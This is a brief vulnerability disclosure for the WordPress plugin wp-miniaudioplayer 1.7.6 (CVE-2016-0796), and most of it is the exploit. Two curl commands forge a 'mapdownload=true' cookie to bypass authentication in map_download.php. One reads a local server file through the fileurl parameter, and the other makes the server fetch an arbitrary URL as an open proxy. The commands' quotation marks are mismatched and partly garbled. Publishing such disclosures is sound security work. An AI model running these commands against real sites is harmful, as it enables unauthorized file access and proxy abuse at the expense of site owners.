Open Proxy & Authentication by pass for wordpress plugin wp-miniaudioplayer v1.7.6
CVE ID(s):
CVE-2016-0796
Notified: 2016-02-12
Description:
Transform your mp3 audio files into a nice, small light HTML5 player.
Exploit:
curl "http://wpsite/wp-content/plugins/wp-miniaudioplayer/map_download.php?fileurl=/tmp/s3kr3t_audio_file.mp3" --cookie "mapdownload=true” curl "http://192.168.0.2/wp-content/plugins/wp-miniaudioplayer/map_download.php? fileurl=http://192.168.0.3/tee".php" --cookie "mapdownload=true